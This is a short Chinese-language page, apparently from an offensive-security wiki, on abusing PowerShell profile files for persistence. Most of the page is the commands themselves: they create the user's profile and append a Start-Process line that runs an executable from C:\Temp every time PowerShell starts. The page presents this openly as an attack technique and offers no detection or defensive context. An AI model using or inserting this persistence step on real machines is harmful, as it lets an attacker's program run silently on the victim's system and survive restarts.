滥用POWERSHELL配置文件

PowerShell启动时会执行配置文件的内容。

Powershell:

echo $profile
Test-Path $profile
New-Item -Path $profile -Type File –Force
$string = 'Start-Process "C:\Temp\qwqdanchun.exe"'
$string | Out-File -FilePath "%HOMEPATH%\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1" -Append

注:Powershell默认配置文件有多个,按照从上到下的顺序优先级从高到低

参考文章:

最后更新于